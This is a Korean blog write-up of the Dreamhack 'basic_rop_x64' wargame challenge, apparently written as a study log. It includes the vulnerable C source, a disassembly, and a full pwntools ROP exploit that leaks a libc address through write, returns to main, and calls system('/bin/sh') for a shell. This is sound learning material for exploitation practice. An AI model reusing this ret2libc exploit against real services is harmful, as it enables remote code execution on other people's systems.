문제 : https://dreamhack.io/wargame/challenges/29
Environment
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
ASLR이 적용되어 있고
바이너리에는 NX가 적용되어 있다.
canary와 PIE는 적용되지 않았다.
따라서 libc 를 계산할 때 주소 차이를 이용하여 계산하여야하고, 쉘 코드를 집어넣은 후 실행시킬 수 없다.
카나리가 존재하지 않기 대문에 SFP, RET 주소의 변경이 간단해지고, PIE가 없기 때문에 해당 바이너리가 실행되는 동안 메모리 주소가 바뀌지 않는다.
Code Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
rop를 사용하여 stack buffer overflow 취약점에 공격하기 - buffer 크기는 0x40인데, 입력은 0x400을 받고 있음
이전의 rop와 동일한 방법으로 system("\bin\sh")를 실행하면 된다.
Exploit Idea
- buf와 SFP의 값 덮기
- RET 부분에 rop를 만들어 ret2main하기
write(1,read@got,0) + main 주소 -> ret2main 기법
Stack Frame
Dump of assembler code for function main:
0x00000000004007ba <+0>: push rbp
0x00000000004007bb <+1>: mov rbp,rsp
0x00000000004007be <+4>: sub rsp,0x50
0x00000000004007c2 <+8>: mov DWORD PTR [rbp-0x44],edi
0x00000000004007c5 <+11>: mov QWORD PTR [rbp-0x50],rsi
0x00000000004007c9 <+15>: lea rdx,[rbp-0x40]
0x00000000004007cd <+19>: mov eax,0x0
0x00000000004007d2 <+24>: mov ecx,0x8
0x00000000004007d7 <+29>: mov rdi,rdx
0x00000000004007da <+32>: rep stos QWORD PTR es:[rdi],rax
0x00000000004007dd <+35>: mov eax,0x0
0x00000000004007e2 <+40>: call 0x40075e <initialize>
0x00000000004007e7 <+45>: lea rax,[rbp-0x40]
0x00000000004007eb <+49>: mov edx,0x400
0x00000000004007f0 <+54>: mov rsi,rax
0x00000000004007f3 <+57>: mov edi,0x0
0x00000000004007f8 <+62>: call 0x4005f0 <read@plt>
0x00000000004007fd <+67>: lea rax,[rbp-0x40]
0x0000000000400801 <+71>: mov edx,0x40
0x0000000000400806 <+76>: mov rsi,rax
0x0000000000400809 <+79>: mov edi,0x1
0x000000000040080e <+84>: call 0x4005d0 <write@plt>
0x0000000000400813 <+89>: mov eax,0x0
0x0000000000400818 <+94>: leave
0x0000000000400819 <+95>: ret
End of assembler dump.
0x50만큼의 stack을 사용한다.
또한 buf는 rbp-0x40에 위치한다는 것을 확인할 수 있다.
Exploit Scenario
system 함수 주소 계산
- libc의 base주소를 구하기 : read@got - read offset
- system 함수의 offset 구하기
- system 함수의 주소 = libc base + system offset
즉, read@got를 읽어야한다.
write(1, read@got, 8)으로 read@got를 출력하여 read 함수의 주소를 획득할 수 있다.
"/bin/sh" 문자열 읽기
gdb를 run 한 상태로
pwndbg> search "/bin/sh"
Searching for byte: b'/bin/sh'
libc.so.6 0x7ffff7f62678 0x68732f6e69622f /* '/bin/sh' */
이를 통해 /bin/sh를 찾을 수도 있고
sh = list(libc.search(b"/bin/sh"))[0]
pwntools로 찾을 수도 있다.
"/bin/sh" = libc base + "/bin/sh" offset이다.
ret2main
write(1, read@got, 8) 코드 이후, main의 주소를 넣는 rop를 완성한다. 이렇게 되면 다시 main으로 돌아올 수 있다.
쉘 획득
system("/bin/sh")를 실행한다.
pop rdi; ret 가젯을 사용하여 셀을 획득한다.
pwntools의 ROP 클래스 메서드 함수인 find_gadget을 사용하여 구할 수 있다.
Exploit Code
from pwn import *
def slog(symbol, addr):
return success(symbol + ": " + hex(addr))
#context.log_level = 'debug'
p = remote('host1.dreamhack.games', 11472)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = e.libc
libc = ELF("./libc.so.6", checksec=False)
r = ROP(e)
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
# Stage 1
payload:bytes = b'A' * 0x48
# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)
# return to main
payload += p64(main)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = sh + lb
slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)
# Stage 2
payload: bytes = b'A' * 0x48
# system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive() 8,40 All
이전 ROP와 다른 것은
가젯을 일일히 찾아서 넣지 않고 pwntools를 사용한것이다.
피드백
가젯도 pwntools를 이용해 찾을 수 있음을 기억해두기
pwntools에 있는 기능들을 잘 이용해보자
'Hacking > Wargame' 카테고리의 다른 글
[Pwnable] rop (0) | 2024.12.29 |
---|---|
[Pwnable] Return to Library (2) | 2024.09.16 |
[Pwnable] Return to Shellcode (4) | 2024.08.24 |
[Reversing] patch (0) | 2024.08.09 |
[Cryptography] Textbook-CBC (4) | 2024.08.03 |